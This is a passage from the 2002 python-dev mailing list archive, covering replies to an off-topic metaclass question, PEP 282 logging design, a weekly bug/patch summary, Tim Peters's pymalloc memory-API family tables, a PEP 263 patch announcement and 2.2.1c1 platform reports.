&quot;__<span class=3DSpellE>metaclass</span>__&quot; attribute of the
&quot;bar&quot; class (derived from object)<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'><o:p>&nbsp;</o:p></span=
></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'>--- <span =
class=3DGramE>the</span>
&quot;object&quot; object itself<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'><o:p>&nbsp;</o:p></span=
></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'>--- <span =
class=3DGramE>the</span>
&quot;super&quot; function used in the &quot;<span =
class=3DSpellE>SingletonMetaClass</span>&quot;
class (a class for a new type object?)<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'><o:p>&nbsp;</o:p></span=
></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'>--- <span =
class=3DGramE>the</span>
&quot;__new__&quot; attribute/method of a class (applies to any =
class?)<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'><o:p>&nbsp;</o:p></span=
></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'>--- <span =
class=3DGramE>the</span>
&quot;<span class=3DSpellE>staticmethod</span>&quot; function used in =
the &quot;<span
class=3DSpellE>SingletonMetaClass</span>&quot; =
class<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'><o:p>&nbsp;</o:p></span=
></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'>--- <span =
class=3DGramE>any</span>
additional info about related classes or functions that are not used in =
the
above example but exist and are available to =
use<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'><o:p>&nbsp;</o:p></span=
></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Thanx, Dimitris</span></font><font size=3D2 =
face=3DArial><span
lang=3DEN-US =
style=3D'font-size:10.0pt;font-family:Arial;mso-ansi-language:EN-US'><o:p=
></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-US =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-US'><o:p>&nbsp;</o:p></span=
></font></p>

</div>

</body>

</html>

------=_NextPart_000_0006_01C1D324.277B7410--


From martin@v.loewis.de  Sun Mar 24 09:46:02 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 24 Mar 2002 10:46:02 +0100
Subject: [Python-Dev] Info needed on metaclasses / type-ing
In-Reply-To: <000501c1d313$63f2a410$e6d9cdd4@BABIS>
References: <000501c1d313$63f2a410$e6d9cdd4@BABIS>
Message-ID: <m37ko2s3hh.fsf@mira.informatik.hu-berlin.de>

"Dimitris Garanatsios" <rs96057@hotmail.com> writes:

> My question is about the "SingletonMetaClass" class.

Please don't use python-dev about discussions of Python applications;
use python-list for that, or any SIG you may find appropriate.

> Could anyone help me find information about the meaning and use of the
> following attributes/functions/objects? 

Not on this list. If you have questions about the inner workings of
Python as-is, readers of this list are expected to study the Python
source code.

Regards,
Martin


From vinay_sajip@red-dove.com  Sun Mar 24 11:16:08 2002
From: vinay_sajip@red-dove.com (Vinay Sajip)
Date: Sun, 24 Mar 2002 11:16:08 -0000
Subject: [Python-Dev] Re: PEP 282 comments
References: <E16oPVX-0005hZ-00@mail.python.org> <3C9B69F7.3010602@campuspipeline.com>
Message-ID: <00e801c1d325$4d004ac0$652b6992@alpha>

[Kevin Butler]
> My experience suggests we use Vinay's exception( lvl, msg, *args )
> to automagically call sys.exc_info() at different log levels, but
including
> that change skews the results because of Vinay's shorter comment.  :-)
[some stuff snipped]
> Simple usage & test cases work exactly as they did before,
> plus Jeremy & I are very happy with our "advanced" applications,
> and the "simple subclass" now just needs to override _log to do
> advanced things with other optional arguments.

To me, this point gives the kwargs argument an edge over the exception(lvl,
...) approach.

> If you can provide a simple standard that supports both simple
> and advanced applications with equal facility, and you can save
> code by doing it without sacrificing readability, why in the world would
> you want to require multiple users to add subclasses that just duplicate
> the standard library methods with such a slight change?
[Kevin Butler, in a followup mail]
> By adding the **kwargs to the convenience methods,
> the Logger opens itself to change and enables all subclasses
> to extend the interface by overriding _log with more keyword
> arguments.

Kevin, I think you make some good points. If we use **kwargs, we can lose
exception and logException, making the interface simpler. And as for the
semantics of "exc_info" - it needn't actually be a sys.exc_info() return
value - just a truth value to indicate that the caller wants traceback
information in the log. In fact, it might be better to code it this way, so
that extensibility is a little less restricted.

If I re-implement with **kwargs, and remove exception and logException, does
anyone have objections if I release 0.4.1 with these (and other) changes?

Regards

Vinay






From guido@python.org  Sun Mar 24 12:26:25 2002
From: guido@python.org (Guido van Rossum)
Date: Sun, 24 Mar 2002 07:26:25 -0500
Subject: [Python-Dev] Info needed on metaclasses / type-ing
In-Reply-To: Your message of "24 Mar 2002 10:46:02 +0100."
 <m37ko2s3hh.fsf@mira.informatik.hu-berlin.de>
References: <000501c1d313$63f2a410$e6d9cdd4@BABIS>
 <m37ko2s3hh.fsf@mira.informatik.hu-berlin.de>
Message-ID: <200203241226.g2OCQPS30422@pcp742651pcs.reston01.va.comcast.net>

> > My question is about the "SingletonMetaClass" class.
> 
> Please don't use python-dev about discussions of Python applications;
> use python-list for that, or any SIG you may find appropriate.

Indeed.  Major off-topic post.

> > Could anyone help me find information about the meaning and use of the
> > following attributes/functions/objects? 
> 
> Not on this list. If you have questions about the inner workings of
> Python as-is, readers of this list are expected to study the Python
> source code.

Dimitris should look at http://www.python.org/2.2/descrintro.html
which describes the new type system.  It's currently mostly
undocumented apart from that URL, for which my apologies.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From skip@mojam.com  Sun Mar 24 13:00:19 2002
From: skip@mojam.com (Skip Montanaro)
Date: Sun, 24 Mar 2002 07:00:19 -0600
Subject: [Python-Dev] Weekly Python Bug/Patch Summary
Message-ID: <200203241300.g2OD0Jq02099@12-248-41-177.client.attbi.com>

Bug/Patch Summary
-----------------

254 open / 2338 total bugs
95 open / 1386 total patches

Closed Bugs
-----------

Distutils should have a Setup parser (2001-03-23)
	http://python.org/sf/410878
linuxaudiodev fails during "make test". (2001-03-24)
	http://python.org/sf/410993
xmlrpclib won't marshal new types (2001-10-10)
	http://python.org/sf/469972
Deprecate modules (2001-10-24)
	http://python.org/sf/474585
python version benchmark (2001-10-25)
	http://python.org/sf/474992
Uncaught MI order conflict (2001-11-14)
	http://python.org/sf/481985
dumbdbm fails to overwrite existing key (2001-11-16)
	http://python.org/sf/482460
Different behavior of readline() (2001-11-29)
	http://python.org/sf/487277
Int(long) causes Integer Overflow (2002-01-04)
	http://python.org/sf/499708
os.listdir("") bug on Windows (2002-01-07)
	http://python.org/sf/500705
type.__module__ problems (again?) (2002-01-15)
	http://python.org/sf/503837
Bad exceptions from pickle (2002-01-16)
	http://python.org/sf/504723
Super method search quirk (2002-01-17)
	http://python.org/sf/505028
python-mode.el sets TMPDIR to /usr/tmp (2002-01-18)
	http://python.org/sf/505488
Fix hardlink against NavServices (2002-01-18)
	http://python.org/sf/505587
urllib.urlopen results.readline is slow (2002-01-24)
	http://python.org/sf/508157
make test failure on sunos5 (2002-02-01)
	http://python.org/sf/512007
Very slow performance (2002-02-09)
	http://python.org/sf/515434
urlparse can get fragments wrong (2002-02-11)
	http://python.org/sf/516299
Error in tutorial chapter 4 (2002-02-15)
	http://python.org/sf/518076
undocumented argument in filecmp.cmpfile (2002-02-25)
	http://python.org/sf/522426
Segfault evaluating '%.100f' % 2.0**100 (2002-02-25)
	http://python.org/sf/522699
pickle/cPickle Inconsistent EOF handling (2002-02-26)
	http://python.org/sf/523020
Inaccuracy in PyErr_SetFromErrno()'s doc (2002-02-28)
	http://python.org/sf/523833
breaking file iter loop leaves file in stale state (2002-03-02)
	http://python.org/sf/524804
cmd.py does not flush stdout (2002-03-06)
	http://python.org/sf/526357
raw_input does not flush stdout (2002-03-06)
	http://python.org/sf/526382
tixwidgets.py improperly indented (2002-03-06)
	http://python.org/sf/526548
popen3 hangs on windows (2002-03-09)
	http://python.org/sf/527783
classmethod().__get__() segfault (2002-03-10)
	http://python.org/sf/528132
PyTraceBack_Store/Fetch are absent (2002-03-12)
	http://python.org/sf/528914
broken error handling in unicode-escape (2002-03-12)
	http://python.org/sf/529104
ICGlue byte alignment issue (2002-03-12)
	http://python.org/sf/529146
Linking under AIX failing (2002-03-13)
	http://python.org/sf/529713
pydoc regression (2002-03-14)
	http://python.org/sf/530070
Typo in 3.16 copy_reg doc (2002-03-14)
	http://python.org/sf/530143
redefining SRE_CODE in Modules/sre.h (2002-03-15)
	http://python.org/sf/530285
import and execfile don't handle utf-16 (2002-03-16)
	http://python.org/sf/530882

New Bugs
--------

socket.sslerror is not a socket.error (2002-03-17)
	http://python.org/sf/531145
Bugs in rfc822.parseaddr() (2002-03-17)
	http://python.org/sf/531205
surprise overriding __radd__ in subclass of complex (2002-03-18)
	http://python.org/sf/531355
221 still doesn't work on OS 8.1 (2002-03-18)
	http://python.org/sf/531398
urllib ftp broken if Win32 proxy (2002-03-19)
	http://python.org/sf/532007
6.9 The raise statement is confusing (2002-03-20)
	http://python.org/sf/532467
Build python fails after fpectl (2002-03-20)
	http://python.org/sf/532618
Confusions in formatfloat (2002-03-20)
	http://python.org/sf/532631
Recursive class instance "error" (2002-03-20)
	http://python.org/sf/532646
isinstance() should respect __class__ (2002-03-20)
	http://python.org/sf/532767
NameError assigning to class in a func (2002-03-20)
	http://python.org/sf/532860
configure.in Assumes cc_r Exists on AIX. (2002-03-21)
	http://python.org/sf/533188
Complex power underflow raises exception (2002-03-21)
	http://python.org/sf/533198
__reduce__ does not work as documented (2002-03-21)
	http://python.org/sf/533291
not building on AIX (2002-03-21)
	http://python.org/sf/533306
rexec: potential security hole (2002-03-22)
	http://python.org/sf/533625
2.2 on HP-UX 11 64-bit - longs crash (2002-03-22)
	http://python.org/sf/533632
cut-o/paste-o in Marshalling doc: 2.2.1 (2002-03-22)
	http://python.org/sf/533735
AIX 3.2.5 Has No chroot/fsync Prototypes (2002-03-23)
	http://python.org/sf/534108
CODESET Doesn't Infer ERA et al. (2002-03-23)
	http://python.org/sf/534153
Running MacPython as non-priv user may fail (2002-03-23)
	http://python.org/sf/534158

Closed Patches
--------------

Persistent connections in BaseHTTPServer (2001-06-06)
	http://python.org/sf/430706
ncurses form module (2001-09-04)
	http://python.org/sf/458534
allow dumbdbm to reuse space (2001-11-12)
	http://python.org/sf/480902
Final set of patches to Demo/tix (2001-11-27)
	http://python.org/sf/485959
Namespace selection for rlcompleter (2001-12-06)
	http://python.org/sf/490026
Lets Tkinter work with MacOSX native Tk (2001-12-06)
	http://python.org/sf/490100
make inspect.stack() work with PyShell (2001-12-07)
	http://python.org/sf/490374
Opt for tok_nextc (2001-12-12)
	http://python.org/sf/491936
Access to readline history elements (2001-12-16)
	http://python.org/sf/494066
test exceptions in various types/methods (2001-12-18)
	http://python.org/sf/494871
add an -q (quiet) option to pycompile (2001-12-20)
	http://python.org/sf/495598
Mach-O MacPython IDE! (2001-12-22)
	http://python.org/sf/496096
location of mbox (2001-12-27)
	http://python.org/sf/497097
robotparser.py fails on some URLs (2002-01-04)
	http://python.org/sf/499513
compileall.py -d errors (2002-01-10)
	http://python.org/sf/501713
call warnings.warn with Warning instance (2002-01-17)
	http://python.org/sf/504943
Script to move faqwiz entries. (2002-02-03)
	http://python.org/sf/512466
build, install in HP-UX10.20 (2002-02-05)
	http://python.org/sf/513329
Adding galeon support (2002-02-16)
	http://python.org/sf/518675
minor fix for regen on IRIX (2002-03-04)
	http://python.org/sf/525763
urllib2: duplicate call, stat attrs (2002-03-05)
	http://python.org/sf/525870
Enable pymalloc (2002-03-15)
	http://python.org/sf/530556

New Patches
-----------

PEP 4 update: deprecations (2002-03-18)
	http://python.org/sf/531491
Add multicall support to xmlrpclib (2002-03-18)
	http://python.org/sf/531629
binary packagers (2002-03-19)
	http://python.org/sf/531901
fix xmlrpclib float marshalling bug (2002-03-19)
	http://python.org/sf/532180
Better AttributeError formatting (2002-03-20)
	http://python.org/sf/532638
specifying headers for extensions (2002-03-21)
	http://python.org/sf/533008
Silence AIX C Compiler Warnings. (2002-03-21)
	http://python.org/sf/533070
small seek tweak upon reads (gzip) (2002-03-22)
	http://python.org/sf/533482
Apply semaphore code to Cygwin (2002-03-22)
	http://python.org/sf/533681


From aahz@pythoncraft.com  Sun Mar 24 15:00:07 2002
From: aahz@pythoncraft.com (Aahz)
Date: Sun, 24 Mar 2002 10:00:07 -0500
Subject: [Python-Dev] Info needed on metaclasses / type-ing
In-Reply-To: <000501c1d313$63f2a410$e6d9cdd4@BABIS>
References: <000501c1d313$63f2a410$e6d9cdd4@BABIS>
Message-ID: <20020324150007.GB29222@panix.com>

This is pretty rude.  You already got three responses over on c.l.py
(python-list).  If you're going to ask for help, please check your first
attempt before going somewhere else (that's completely aside from the
point that this is off-topic for python-dev).
-- 
Aahz (aahz@pythoncraft.com)           <*>         http://www.pythoncraft.com/

"We should forget about small efficiencies, about 97% of the time.
Premature optimization is the root of all evil."  --Knuth


From fdrake@acm.org  Sun Mar 24 18:58:35 2002
From: fdrake@acm.org (Fred L. Drake)
Date: Sun, 24 Mar 2002 13:58:35 -0500 (EST)
Subject: [Python-Dev] [development doc updates]
Message-ID: <20020324185835.2D25928696@beowolf.fdrake.net>

The development version of the documentation has been updated:

    http://python.sourceforge.net/csstest-docs/

This is the experimental formatting for the documentation.

This version should work better for Opera users; it should work fine
for Opera 6, and works (slightly) better than it did for Opera 5.
There's probably no change for other browsers.


From tim.one@comcast.net  Sun Mar 24 23:38:19 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sun, 24 Mar 2002 18:38:19 -0500
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <LNBBLJKPBEHFEDALKOLCAELPOEAA.tim.one@comcast.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCMEFHOHAA.tim.one@comcast.net>

Suppose we were to take the idea of "enforcing the rules" seriously.  That
means we'd first have to know what the rules are.  I count 40 primary (just
"get", "resize", and "free") memory APIs now:

malloc, realloc, free
PyMem_{Malloc, Realloc, Free}
PyMem_{MALLOC, REALLOC, FREE}
PyMem_{New, Resize, Del}
PyMem_{NEW, RESIZE, DEL}
PyObject_{Malloc, Realloc, Free}
PyObject_{MALLOC, REALLOC, FREE}
PyObject_{New, NewVar, Del}
PyObject_{NEW, NEWVAR, DEL}
PyObject_GC_{New, NewVar, Resize, Del}
PyMalloc_{New, NewVar, Del}
_PyMalloc_{Malloc, Realloc, Free}
_PyMalloc_{MALLOC, REALLOC, FREE}

The last 6 were recently added, and made part of the private API to avoid
complicating the public API even more.

I don't understand what "API family" means, and none of the prose I've seen
made the notion clearer.  The only way it *can* mean something intelligible
to me is via a table like the following, spelling out exactly which "get
memory" spellings are legal with which "release memory" spellings (counting
realloc/resize as a form of release).  Catering to Martin's belief that
functions and macros are necessarily in distinct families, yet catering also
to the real-life examples Neil found, this is the most restrictive set of
families I think we have a chance of enforcing without massive breakage:

Memory released by      Must have been originally allocated by
one of these            one of these
----------------------- --------------------------------------
realloc,                malloc
free
----------------------- --------------------------------------
PyObject_GC_Del         PyObject_GC_New,
                        PyObject_GC_NewVar
----------------------- --------------------------------------
PyObject_GC_Resize      PyObject_GC_NewVar
----------------------- --------------------------------------
PyMalloc_Del            PyMalloc_New,
                        PyMalloc_NewVar
----------------------- --------------------------------------
_PyMalloc_Realloc,      _PyMalloc_Malloc
_PyMalloc_Free
----------------------- --------------------------------------
_PyMalloc_REALLOC,      _PyMalloc_MALLOC
_PyMalloc_FREE
----------------------- --------------------------------------
PyObject_Del            PyObject_New,
                        PyObject_NewVar
----------------------- --------------------------------------
PyObject_DEL            PyObject_NEW,
                        PyObject_NEWVAR
----------------------- --------------------------------------
PyObject_Realloc,       PyObject_Malloc
PyObject_Free
----------------------- --------------------------------------
PyObject_REALLOC,       PyObject_MALLOC
PyObject_FREE
----------------------- --------------------------------------
PyMem_Del,              PyMem_New
PyMem_Resize
----------------------- --------------------------------------
PyMem_RESIZE            PyMem_NEW
----------------------- --------------------------------------
PyMem_Realloc           PyMem_Malloc
----------------------- --------------------------------------
PyMem_FREE,             PyMem_MALLOC
PyMem_REALLOC
----------------------- --------------------------------------
PyMem_DEL,              PyMem_NEW,
PyMem_Free              PyObject_NEW
----------------------- --------------------------------------

The last block caters to the frequenct mixes of PyObject_NEW with PyMem_DEL
and PyMem_Free Neil found in real life.

I always found the distinction between "free" and "del" spellings to be
pointlessly pedantic (there's no difference under the covers, and never
was -- and backward compatibility ensures there never will be).

The distincion between Mem and Object has also become pointlessly pedantic.

The distinction between macro and function spellings also doesn't make much
sense to me, despite Martin's defense (you shouldn't use a macro spelling in
an extension simply because you're in an extension, and macros can change
across releases; it's not because we're reserving the right for the function
and macro spellings to do incompatible things in a single release).

The distinctions between raw and typed memory, and between var and non-var
objects, still make good sense.

Putting all those together could cut the # of groupings in half:

Memory released by      Must have been originally allocated by
one of these            one of these
----------------------- --------------------------------------
realloc,                malloc
free
----------------------- --------------------------------------
PyObject_GC_Del         PyObject_GC_New,
                        PyObject_GC_NewVar
----------------------- --------------------------------------
PyObject_GC_Resize      PyObject_GC_NewVar
----------------------- --------------------------------------
PyMalloc_Del            PyMalloc_New,
                        PyMalloc_NewVar
----------------------- --------------------------------------
PyMem_Del,              PyMem_New,
PyMem_DEL,              PyMem_NEW,
PyMem_Free,             PyMem_Malloc,
PyMem_FREE,             PyMem_MALLOC,
PyObject_Del,           PyObject_New,
PyObject_DEL,           PyObject_NEW,
PyObject_Free           PyObject_Malloc,
PyObject_FREE           PyObject_MALLOC
                        PyObject_NewVar,
                        PyObject_NEWVAR
----------------------- --------------------------------------
PyMem_Realloc,          PyMem_Malloc,
PyMem_REALLOC,          PyMem_MALLOC,
PyObject_Realloc,       PyObject_Malloc,
PyObject_REALLOC        PyObject_MALLOC
----------------------- --------------------------------------
PyMem_Resize,           PyMem_New,
PyMem_RESIZE            PyMem_NEW
----------------------- --------------------------------------
_PyMalloc_Realloc,      _PyMalloc_Malloc
_PyMalloc_Free,         _PyMalloc_MALLOC
_PyMalloc_REALLOC,
_PyMalloc_FREE
----------------------- --------------------------------------

I don't yet know whether we can actually enforce anything here, but we have
to explain the rules regardless.  What kind of table would you make up?  I
expect the last table above matches what most extension authors think,
although some probably lump free/malloc into the block with the other 8
historical ways to spell free.



From suzuki611@oki.com  Sun Mar 24 23:52:14 2002
From: suzuki611@oki.com (SUZUKI Hisao)
Date: Mon, 25 Mar 2002 08:52:14 +0900
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
In-Reply-To: <200203212346.IAA07485@suzuki611.ngo.okisoft.co.jp> (message from
 SUZUKI Hisao on Fri, 22 Mar 2002 08:46:27 +0900)
Message-ID: <200203242352.IAA09503@suzuki611.ngo.okisoft.co.jp>

I posted the PEP 263 phase 2 implementation into both NetNews
(fj.sources) and the sourceforge.net patch manager (Request ID
534304).  Please look in.

I am thankful to <stephen@xemacs.org> for giving me a hint on
the implementation via his postings to [Python-Dev].  Python
programs are represented in UTF-8 internally.  It realizes a
very high compatibility with the present Python.

--
SUZUKI Hisao <suzuki@acm.org> <suzuki611@oki.com>


From nas@python.ca  Sun Mar 24 23:57:52 2002
From: nas@python.ca (Neil Schemenauer)
Date: Sun, 24 Mar 2002 15:57:52 -0800
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <LNBBLJKPBEHFEDALKOLCMEFHOHAA.tim.one@comcast.net>; from tim.one@comcast.net on Sun, Mar 24, 2002 at 06:38:19PM -0500
References: <LNBBLJKPBEHFEDALKOLCAELPOEAA.tim.one@comcast.net> <LNBBLJKPBEHFEDALKOLCMEFHOHAA.tim.one@comcast.net>
Message-ID: <20020324155752.A23282@glacier.arctrix.com>

Tim Peters wrote:
> What kind of table would you make up?

I like your second table.

> I expect the last table above matches what most extension authors
> think, although some probably lump free/malloc into the block with the
> other 8 historical ways to spell free.

Perhaps it is worth trying to keep free/malloc separate.  That gives
people the chance to base PyMem_MALLOC/FREE on a different allocator
(e.g. Boehm's GC malloc).

   Neil


From skip@pobox.com  Mon Mar 25 00:35:45 2002
From: skip@pobox.com (Skip Montanaro)
Date: Sun, 24 Mar 2002 18:35:45 -0600
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <LNBBLJKPBEHFEDALKOLCMEFHOHAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCAELPOEAA.tim.one@comcast.net>
 <LNBBLJKPBEHFEDALKOLCMEFHOHAA.tim.one@comcast.net>
Message-ID: <15518.28897.516779.711154@12-248-41-177.client.attbi.com>

    Tim> ....  What kind of table would you make up?

If I remember the discussion correctly, there's not really much (if any)
performance benefit to using the macro versions.  Since the the macro and
function versions of each "function" seem to be paired in your tables, why
not simply define the macros to map to the functions for backward
compatibility and deprecate the macros altogether?  That would have the
added benefit of reducing your second table by nearly half again.

Skip



From tim.one@comcast.net  Mon Mar 25 01:02:13 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sun, 24 Mar 2002 20:02:13 -0500
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <15518.28897.516779.711154@12-248-41-177.client.attbi.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCEEFNOHAA.tim.one@comcast.net>

[Skip Montanaro]
> If I remember the discussion correctly, there's not really much (if
> any) performance benefit to using the macro versions.

This depends on which macro/function pair you're talking about.  For
example, PyMem_Free is less efficient than PyMem_FREE, and always will be.
The discussion you're remembering was specically about some PyObject_XXX
spellings.  There are no "general principles" here, and the attempt to
introduce some did so at the cost of wishing away a decade of reality --
it's doomed to remain something of a mess now.

> Since the the macro and function versions of each "function" seem
> to be paired in your tables,

True of the second table but not of the first.  Read the whole message for
why that's so.

> why not simply define the macros to map to the functions for backward
> compatibility and deprecate the macros altogether?

See above.  More valuable in the end would be to deprecate 6 of the 8
current ways to spell "free" that aren't already spelled "free".  But nobody
will agree to that, so no point.

> That would have the added benefit of reducing your second table by
> nearly half again.

Reducing the number of *categories* would be of practical value.  Even if we
had no macro spellings at all, the second table would have the same number
of categories as now.



From skip@pobox.com  Mon Mar 25 01:13:32 2002
From: skip@pobox.com (Skip Montanaro)
Date: Sun, 24 Mar 2002 19:13:32 -0600
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <LNBBLJKPBEHFEDALKOLCEEFNOHAA.tim.one@comcast.net>
References: <15518.28897.516779.711154@12-248-41-177.client.attbi.com>
 <LNBBLJKPBEHFEDALKOLCEEFNOHAA.tim.one@comcast.net>
Message-ID: <15518.31164.870619.585835@12-248-41-177.client.attbi.com>

    Tim> The discussion you're remembering was specically about some
    Tim> PyObject_XXX spellings.  There are no "general principles" here,

Okay, point taken.

    Tim> See above.  More valuable in the end would be to deprecate 6 of the
    Tim> 8 current ways to spell "free" that aren't already spelled "free".
    Tim> But nobody will agree to that, so no point.

Hmmm...  Sounds like this would be an area ripe for BDFL pronouncement.

    >> That would have the added benefit of reducing your second table by
    >> nearly half again.

    Tim> Reducing the number of *categories* would be of practical value.
    Tim> Even if we had no macro spellings at all, the second table would
    Tim> have the same number of categories as now.

I think reducing the number of elements per category would also be of
practical value, if for no other reason than it would reduce the mind
boggling choice of potential functions for any one operation.

Skip



From tim.one@comcast.net  Mon Mar 25 01:26:45 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sun, 24 Mar 2002 20:26:45 -0500
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <20020324155752.A23282@glacier.arctrix.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCKEFOOHAA.tim.one@comcast.net>

[Neil Schemenauer]
> I like your second table.

That's why I presented it second <wink> -- it's the best compromise with
reality I could think of.

>> I expect the last table above matches what most extension authors
>> think, although some probably lump free/malloc into the block with the
>> other 8 historical ways to spell free.

> Perhaps it is worth trying to keep free/malloc separate.  That gives
> people the chance to base PyMem_MALLOC/FREE on a different allocator
> (e.g. Boehm's GC malloc).

I do want to keep them separate, despite the

"""
sketch-0.6.13

    Allocates with PyObject_NEW and reallocates with realloc,
    deallocates with free
"""

you found.  The "mixes in free" part has come up before too, but at my age
there's only so much brain damage I can absorb gracefully.

I would like PYMALLOC_DEBUG to be able to report violations of "the rules",
whatever Guido says they are; the API is too massive for me to keep
straight, although, at my age, I have indeed absorbed a lot of brain damage
<drool>.



From tim.one@comcast.net  Mon Mar 25 01:59:20 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sun, 24 Mar 2002 20:59:20 -0500
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <15518.31164.870619.585835@12-248-41-177.client.attbi.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCEEGAOHAA.tim.one@comcast.net>

[Skip Montanaro]
> I think reducing the number of elements per category would also be of
> practical value, if for no other reason than it would reduce the mind
> boggling choice of potential functions for any one operation.

That's why it may be good to get rid of umpteen ways to spell "free".  OTOH,
once you start life with a PyObject_XXX "get memory" function, it grates to
to spell "free memory" via PyMem_{Free, Del}; likewise vice versa.  The
artificial Free/Del distinction there doesn't help anything.

Lapses from orthogonality also complicate life.  For example, there are no
macro spellings for any function in the PyObject_GC_XXX family, but almost
<wink> all other functions in all other familes come in both flavors.  And
while PyObject_GC_ has a Resize function for var objects, the PyObject_ and
new PyMalloc_ families do not.  OTOH, the *non*-object PyMem_XXX family does
have a Resize (as well as a Realloc)!

One simplification:  deprecate the entire PyObject_XXX family.  We
introduced PyMalloc_XXX to do what PyObject_XXX was *supposed* to be used
for; it's "only" backward compatibility that argued for introducing
PyMalloc_XXX instead.  OTOH, deprecating PyObject_XXX isn't a simplification
extension authors are likely to appreciate at first <wink>.



From mwh@python.net  Mon Mar 25 10:17:06 2002
From: mwh@python.net (Michael Hudson)
Date: Mon, 25 Mar 2002 10:17:06 +0000 (GMT)
Subject: [Python-Dev] 2.2.1c1 platform reports.
In-Reply-To: <m3k7s4wf2j.fsf@mira.informatik.hu-berlin.de>
Message-ID: <Pine.LNX.4.44.0203251006400.30364-100000@starship.python.net>

On 22 Mar 2002, Martin v. Loewis wrote:

> Michael Hudson <mwh@python.net> writes:
> 
> > OS: HP-UX B.11.00
> > 
> > Seems to have unicode difficulties.
> 
> Do you have a SF report for that?

No, it was "private communication".  However, the reporter says there are 
a bunch of patches from HP that haven't been applied to this machine, and 
I've had reports of success on this platform, so I'm guessing one of them 
fixes it.

Cheers,
M.

PS: these are the patches missing:

PHCO_23943
PHCO_24723
PHSS_24030
PHSS_24381
PHSS_23953
PHSS_24832

I've registered on HPs support site but am having trouble finding my way 
around it...




From bh@intevation.de  Mon Mar 25 10:41:01 2002
From: bh@intevation.de (Bernhard Herzog)
Date: 25 Mar 2002 11:41:01 +0100
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <LNBBLJKPBEHFEDALKOLCKEFOOHAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCKEFOOHAA.tim.one@comcast.net>
Message-ID: <6qhen5gcaq.fsf@abnoba.intevation.de>

Tim Peters <tim.one@comcast.net> writes:

> [Neil Schemenauer]
> > Perhaps it is worth trying to keep free/malloc separate.  That gives
> > people the chance to base PyMem_MALLOC/FREE on a different allocator
> > (e.g. Boehm's GC malloc).
> 
> I do want to keep them separate, despite the
> 
> """
> sketch-0.6.13
> 
>     Allocates with PyObject_NEW and reallocates with realloc,
>     deallocates with free
> """

This is clearly a bug in Sketch and will be fixed in the next release,
so no one except me should be worrying about it. The realloc is only
done on malloc'ed memory AFAICT, though.

  Bernhard

-- 
Intevation GmbH                                 http://intevation.de/
Sketch                                 http://sketch.sourceforge.net/
MapIt!                                           http://www.mapit.de/


From mwh@python.net  Mon Mar 25 11:07:02 2002
From: mwh@python.net (Michael Hudson)
Date: 25 Mar 2002 11:07:02 +0000
Subject: [Python-Dev] 2.2.1c1 platform reports.
In-Reply-To: Andrew MacIntyre's message of "Sat, 23 Mar 2002 09:07:28 +1000 (est)"
References: <Pine.OS2.4.32.0203230906040.1231-100000@tenring>
Message-ID: <2m3cyo7vop.fsf@starship.python.net>

Andrew MacIntyre <andymac@bullseye.apana.org.au> writes:

> On 22 Mar 2002, Michael Hudson wrote:
> 
> > I crunched through the various platform experiences I'd heard for
> > 2.2.1c1, and came up with the following.  Can anyone fill in some
> > gaps, add comments or dig into some of the mentioned problems?  Things
> > are looking fairly good, but reports from AIX-land in particular are
> > making my head spin like a top.
> 
> Sorry, I've not had time to look at this for the OS/2-EMX build; maybe
> tonight.

I thought OS/2-EMX was only going to be supported in 2.3?  I'm
